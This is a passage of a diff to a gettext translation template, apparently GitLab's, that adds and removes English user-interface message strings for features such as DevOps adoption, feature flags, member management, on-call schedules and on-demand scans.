+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
